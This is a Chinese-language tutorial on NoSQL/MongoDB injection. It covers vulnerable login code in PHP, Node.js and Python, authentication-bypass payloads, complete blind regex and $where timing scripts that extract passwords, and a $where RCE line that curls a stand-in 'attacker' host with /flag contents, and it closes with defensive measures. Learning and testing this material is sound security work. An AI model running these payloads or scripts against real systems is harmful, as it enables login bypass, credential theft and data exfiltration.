前言

NoSQL 注入(NoSQL Injection)是 SQL 注入在 NoSQL 数据库(MongoDB、CouchDB、Redis 等)中的类比。与 SQL 注入不同的是,NoSQL 攻击通常不是通过拼接查询字符串,而是利用应用层将用户输入直接作为查询操作符传入数据库

核心原理:

1
2
3
4
用户传入 username[$regex]=.*
→ PHP 将参数解析为数组
→ 查询变成 {"username": {"$regex": ".*"}}
→ MongoDB 执行正则匹配 → 绕过认证 / 泄露数据

和 SQL 注入的关键区别:

SQL 注入 NoSQL 注入
注入点 SQL 字符串拼接 JSON/BSON 操作符注入
攻击目标 闭合引号、构造 UNION、堆叠查询 注入 $regex$ne$where 等操作符
盲注方式 SUBSTR + 二分法 $regex + 逐字符匹配 / $where + 时间延迟
数据库 MySQL / PostgreSQL / Oracle 等 MongoDB / CouchDB / Redis 等

本文以 MongoDB 为主,从基础语法讲起,覆盖 PHP、Node.js、Python 三种语言场景下的注入、盲注、绕过与防御。


一、MongoDB 基础速查

1.1 常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
// 数据库操作
show dbs // 显示所有非空数据库
use test1 // 切换到 test1 数据库(不存在则创建)
db.getName() // 获取当前数据库名称

// 集合(表)操作
db.user.find() // 查询 user 集合中的所有文档
db.user.find().pretty() // 格式化输出
db.user.insert({"name": "alice"}) // 插入文档

// 条件查询
db.user.find({"name": "user1", "age": "25"}) // AND 查询
db.user.find({"$or": [{"name": "a"}, {"name": "b"}]}) // OR 查询

1.2 文档模型

MongoDB 存储的是 BSON 文档(类似 JSON),一个集合(Collection)相当于关系型数据库的表,一个文档(Document)相当于一行记录:

1
2
3
4
5
6
{
"_id": ObjectId("507f1f77bcf86cd799439011"),
"username": "admin",
"password": "supersecret123",
"role": "admin"
}

1.3 操作符一览

MongoDB 查询使用 $ 前缀的操作符来表达条件:

操作符 含义 示例
$eq 等于 {"age": {"$eq": 25}}
$ne 不等于 {"age": {"$ne": 25}}
$gt 大于 {"age": {"$gt": 25}}
$gte 大于等于 {"age": {"$gte": 25}}
$lt 小于 {"age": {"$lt": 25}}
$lte 小于等于 {"age": {"$lte": 25}}
$in 包含(在列表中) {"role": {"$in": ["admin", "root"]}}
$nin 不包含(不在列表中) {"role": {"$nin": ["guest"]}}
$regex 正则匹配 {"username": {"$regex": "^adm"}}
$and 逻辑与 {"$and": [{"a": 1}, {"b": 2}]}
$or 逻辑或 {"$or": [{"a": 1}, {"b": 2}]}
$nor 逻辑 NOR {"$nor": [{"a": 1}, {"b": 2}]}
$not 逻辑非 {"age": {"$not": {"$gt": 25}}}
$exists 字段存在 {"password": {"$exists": true}}
$type 字段类型匹配 {"age": {"$type": "int"}}
$where 执行 JavaScript {"$where": "sleep(5000)"}

关键: $regex 可用于盲注逐字符爆破。$where 可以执行任意 JS,是最危险的注入点。


二、PHP + MongoDB 注入

2.1 漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$ret = array();
$ret['msg'] = '登陆失败';

$username = isset($_POST['username']) ? strval($_POST['username']) : '';
$password = isset($_POST['password']) ? strval($_POST['password']) : '';

if (empty($username) || empty($password)) {
$ret['msg'] = '用户名或密码不能为空';
die(json_encode($ret));
}

try {
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
} catch (Exception $e) {
$ret['msg'] = '数据库连接失败';
die(json_encode($ret));
}

// 漏洞点:直接将用户输入作为查询条件
$filter = [
'username' => $username,
'password' => $password
];
$query = new MongoDB\Driver\Query($filter);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

if (count($cursor) > 0) {
$ret['msg'] = '登陆成功';
} else {
$ret['msg'] = '用户名或密码错误';
}

echo json_encode($ret);
?>

漏洞点: $username$password 直接传给 MongoDB\Driver\Query。PHP 的 URL 参数解析机制会把 username[$regex]=.* 自动转换为数组,MongoDB 将数组内容作为查询操作符执行。

2.2 绕过认证

1
2
3
4
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username[$regex]=.*&password[$regex]=.*

PHP 解析后:

1
2
3
4
5
6
$filter = [
'username' => ['$regex' => '.*'],
'password' => ['$regex' => '.*']
];
// 即:匹配所有 username 和 password 为任意内容的文档
// MongoDB 执行 → 返回第一条匹配记录 → 登录成功!

其他绕过方式:

1
2
3
4
5
6
7
8
9
10
11
# $ne 绕过:username 不等于空字符串
username[$ne]=&password[$ne]=

# $gt 绕过:username 大于空字符串
username[$gt]=&password[$gt]=

# $in 绕过:username 在包含空字符串的列表中
username[$in][]=admin&password[$ne]=

# 组合绕过:username 不等于空 且 password 不等于空
username[$ne]=x&password[$ne]=x

2.3 盲注爆数据

当登录成功后没有返回用户信息,只有”成功/失败”两种状态,可以用 $regex 逐字符盲注:

1
2
3
4
5
6
7
8
# 猜测 password 第一个字符是否为 'a'
username=admin&password[$regex]=^a

# 猜测 password 前两个字符 = 'ab'
username=admin&password[$regex]=^ab

# 猜测 password 以什么结尾
username=admin&password[$regex]=d$

盲注脚本框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string

url = "http://target.com/login.php"
charset = string.ascii_letters + string.digits + "{}_-!@#$%^&*"

password = ""

while True:
found = False
for char in charset:
test = password + char
data = {
"username": "admin",
"password[$regex]": f"^{test}"
}
r = requests.post(url, data=data)
if "登陆成功" in r.text:
password += char
print(f"[+] {password}")
found = True
break
if not found:
print(f"[!] Done: {password}")
break

2.4 利用 $where 做时间盲注

如果 $regex 被过滤,且查询允许 $where 操作符,可以用 JavaScript 延迟:

1
2
3
4
5
# 如果第一个字符等于 'a',则 sleep 3 秒,否则不 sleep
username=admin&password[$where]=if(this.password[0]=='a',sleep(3000),false)

# 或更精确地
username=admin&password[$where]=function(){if(this.password[0]=='a'){sleep(3000);return true;}return false;}

根据响应时间判断字符是否正确。


三、Node.js + Express + MongoDB 注入(MEAN 栈)

Node.js 环境下的 MongoDB 注入由于 JS 原生支持 JSON,payload 传递更加直接。

3.1 漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require('express');
const MongoClient = require('mongodb').MongoClient;
const app = express();

app.use(express.json());
app.use(express.urlencoded({ extended: true }));

app.post('/login', async (req, res) => {
const { username, password } = req.body;

const client = await MongoClient.connect('mongodb://localhost:27017');
const db = client.db('test');
const users = db.collection('users');

// 漏洞:直接使用用户输入做查询
const user = await users.findOne({
username: username,
password: password
});

if (user) {
res.json({ msg: '登录成功', data: user });
} else {
res.json({ msg: '用户名或密码错误' });
}
client.close();
});

3.2 JSON POST 绕过认证

1
2
3
4
POST /login HTTP/1.1
Content-Type: application/json

{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

或:

1
{"username": {"$ne": ""}, "password": {"$ne": ""}}

3.3 利用 $where RCE(极危险)

如果应用使用 $where 或拼接用户输入到 $where 中:

1
2
3
4
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "$where": "sleep(5000) || true"}

更严重的 RCE:

1
2
3
4
{
"username": "admin",
"$where": "function(){ require('child_process').exec('curl http://attacker/$(cat /flag|base64)'); return true; }"
}

注意: $where 本身不会直接将用户输入拼进 JS,但结合后端的字符串拼接就会非常危险。此外 MongoDB 5.0+ 的 $function 操作符和 $accumulator 也有类似能力。


四、Python + PyMongo 注入

4.1 漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request, jsonify
from pymongo import MongoClient

app = Flask(__name__)
client = MongoClient('localhost', 27017)
db = client['test']

@app.route('/login', methods=['POST'])
def login():
data = request.get_json()

# 漏洞:直接使用用户输入
user = db.users.find_one({
'username': data.get('username'),
'password': data.get('password')
})

if user:
return jsonify({'msg': '登录成功', 'role': str(user.get('role'))})
return jsonify({'msg': '登录失败'})

4.2 Blind Regex 逐字符爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import string

charset = string.printable

def check_regex(field, regex_pattern):
data = {
"username": "admin",
field: {"$regex": regex_pattern}
}
r = requests.post("http://target/login", json=data)
return "登录成功" in r.text

# 爆 password
password = ""
while True:
found = False
for c in charset:
if check_regex("password", f"^{password}{c}"):
password += c
print(f"[+] {password}")
found = True
break
if not found:
break
print(f"[!] Password: {password}")

五、操作符注入技巧汇总

5.1 认证绕过速查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# $ne(不等于空)
username[$ne]=&password[$ne]=

# $regex(任意匹配)
username[$regex]=.*&password[$regex]=.*

# $gt(大于空字符串)
username[$gt]=&password[$gt]=

# $exists(字段存在检查)
username[$exists]=true&password[$exists]=true

# $in 数组
username[$in][]=admin&password[$ne]=

# 组合:OR 注入
username=admin&password[$regex]=.*&$or[0][username]=admin

5.2 信息收集

1
2
3
4
5
6
7
8
# 判断是否有 role 字段
username=admin&role[$exists]=true

# 判断 password 长度
username=admin&password[$regex]=^.{8}$

# 用 $regex 带选项(大小写不敏感)
username[$regex]=admin&username[$options]=i

5.3 PHP 参数名编码

1
2
3
4
5
# 直接表单 POST
username[$regex]=^a&password[$ne]=

# JSON POST(需 Content-Type: application/json)
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}

5.4 PHP 端 strval() 的局限

原文代码中 $username = isset($_POST['username']) ? strval($_POST['username']) : '';——PHP 的 strval() 只能将标量转成字符串。但如果 $_POST['username'] 本身是一个数组(如 username[$regex]=.*),strval() 会直接将其转成字符串 "Array",导致注入失效。

所以原文的 POC 需要修改才能生效: 去掉 strval() 或不做类型转换,直接将 $_POST['username'] 传入 filter。

实际漏洞通常出现在没有 strval() 保护的场景、或使用 extract() / 直接遍历 $_POST 构建 filter 的代码中。


六、Blind NoSQL Injection 高级策略

6.1 布尔盲注

1
2
# 逐字符:匹配/不匹配 → 成功/失败
username=admin&password[$regex]=^flag{a

6.2 时间盲注

1
2
3
4
5
# $where JS 延迟
username=admin&password[$where]=if(this.password[0]=='a',sleep(3000),0)

# CouchDB(类似例子)
# 利用 _find 的 sort 做时间差异

6.3 错误回显注入

某些 MongoDB 驱动会将错误信息返回给客户端,可以利用它泄露数据:

1
2
# 尝试触发类型转换错误
username[$type]=1

6.4 完整盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import string
import time

TARGET = "http://target.com/login.php"
CHARSET = string.ascii_letters + string.digits + "_{}"

def test_regex(field, pattern):
"""测试 $regex 匹配,返回是否登录成功"""
data = {
"username": "admin",
f"{field}[$regex]": pattern
}
r = requests.post(TARGET, data=data, timeout=10)
return "登陆成功" in r.text

def test_where(field, condition):
"""测试 $where 时间盲注(延迟 2 秒 = 匹配成功)"""
data = {
"username": "admin",
f"{field}[$where]": condition
}
start = time.time()
r = requests.post(TARGET, data=data, timeout=10)
elapsed = time.time() - start
return elapsed > 1.5 # 响应时间 > 1.5 秒判定为匹配

def blind_regex(field):
"""布尔盲注逐字符爆破"""
result = ""
while True:
found = False
for c in CHARSET:
pattern = f"^{result}{c}"
if test_regex(field, pattern):
result += c
print(f"\r[*] {field}: {result}", end="")
found = True
break
if not found:
break
print(f"\n[+] {field} = {result}")
return result

def blind_where(field):
"""时间盲注逐字符爆破"""
result = ""
while True:
found = False
for c in CHARSET:
condition = f"function(){{if(this.{field}[{len(result)}]=='{c}'){{sleep(2000);return true;}}return false;}}"
if test_where(field, condition):
result += c
print(f"\r[*] {field}: {result}", end="")
found = True
break
if not found:
break
print(f"\n[+] {field} = {result}")
return result

if __name__ == "__main__":
password = blind_regex("password")

七、NoSQL 注入工具

7.1 NoSQLMap

1
2
3
4
5
6
7
8
9
10
# 安装
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# 使用
python nosqlmap.py

# 1 → 设置目标 URL
# 2 → 选择攻击模式(认证绕过 / 注入 / 数据库枚举)

NoSQLMap 支持:

  • 自动检测 NoSQL 注入点
  • MongoDB 和 CouchDB 注入利用
  • 认证绕过
  • 数据库和数据集合枚举

7.2 NoSQLi(Burp Suite 扩展)

Burp Suite BApp Store 中搜索 “NoSQLi” → 安装 → 右键请求 → “Send to NoSQLi” → 自动生成 payload。

7.3 手动测试清单

1
2
3
4
5
6
7
1. 改 Content-Type 为 application/json → 测试 JSON 注入
2. 参数后加 [$regex]=.* → 测试操作符注入
3. 参数后加 [$ne]= → 测试 $ne 绕过
4. 参数后加 [$gt]= → 测试比较符绕过
5. 参数后加 [$where]=sleep(3000) → 测试 $where 注入
6. 观察响应时间差异 → 时间盲注
7. 观察错误信息 → 错误注入

八、防御措施

层面 措施 说明
输入校验 严格类型检查,拒绝数组类型的参数 检查 typeof username !== 'string'
输入校验 白名单允许的字段 只接受已知字段名,拒绝含 $ 开头的参数名
ORM/ODM 使用 Mongoose(Node.js)的 schema 校验 Mongoose 的 SchemaType 会过滤操作符
mongo-sanitize 使用 sanitize 库 npm install mongo-sanitizesanitize(req.body)
禁止 $where 在 MongoDB 服务端禁用 $where 设置 javascriptEnabled: false(MongoDB 配置)
最小权限 数据库账户只授予必要的权限 应用账户不应该有 evalmapReduce 等权限
WAF 检测请求参数名中的 $ 符号 $regex$ne 等模式 → 拒绝或清理
代码审计 不将用户输入直接作为对象 key 传入查询 显式构建 filter 对象,而非 $_POST 直接传递

mongo-sanitize(Node.js)

1
2
3
4
5
6
7
8
9
const sanitize = require('mongo-sanitize');

app.post('/login', async (req, res) => {
const clean = sanitize(req.body); // 移除所有以 $ 开头的 key
const user = await users.findOne({
username: clean.username,
password: clean.password
});
});

PHP 类型防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 不安全:直接将 $_POST 传入
$filter = [
'username' => $_POST['username'], // 可能是数组!
'password' => $_POST['password']
];

// 安全:强制转换为字符串
$filter = [
'username' => (string) $_POST['username'], // 数组变成 "Array"
'password' => (string) $_POST['password']
];

// 更安全:检查类型
if (is_array($_POST['username']) || is_array($_POST['password'])) {
die("Invalid input");
}

MongoDB 服务端配置

1
2
3
# /etc/mongod.conf
security:
javascriptEnabled: false # 禁用 $where 的 JS 执行

九、快速决策树

1
2
3
4
5
6
7
8
NoSQL 注入检测:
├── 参数传数组 → username[$regex]=.* → 操作符注入!
├── 响应显示数据 → $regex 盲注逐字符爆
├── 响应只显示成功/失败 → 布尔盲注($regex)
├── 响应时间有差异 → 时间盲注($where + sleep)
├── 有错误回显 → 错误注入
├── Content-Type 改 JSON → {"$ne": ""} → JSON 注入
└── 无任何回显/差异 → NoSQLMap 扫描 + OOB 尝试

参考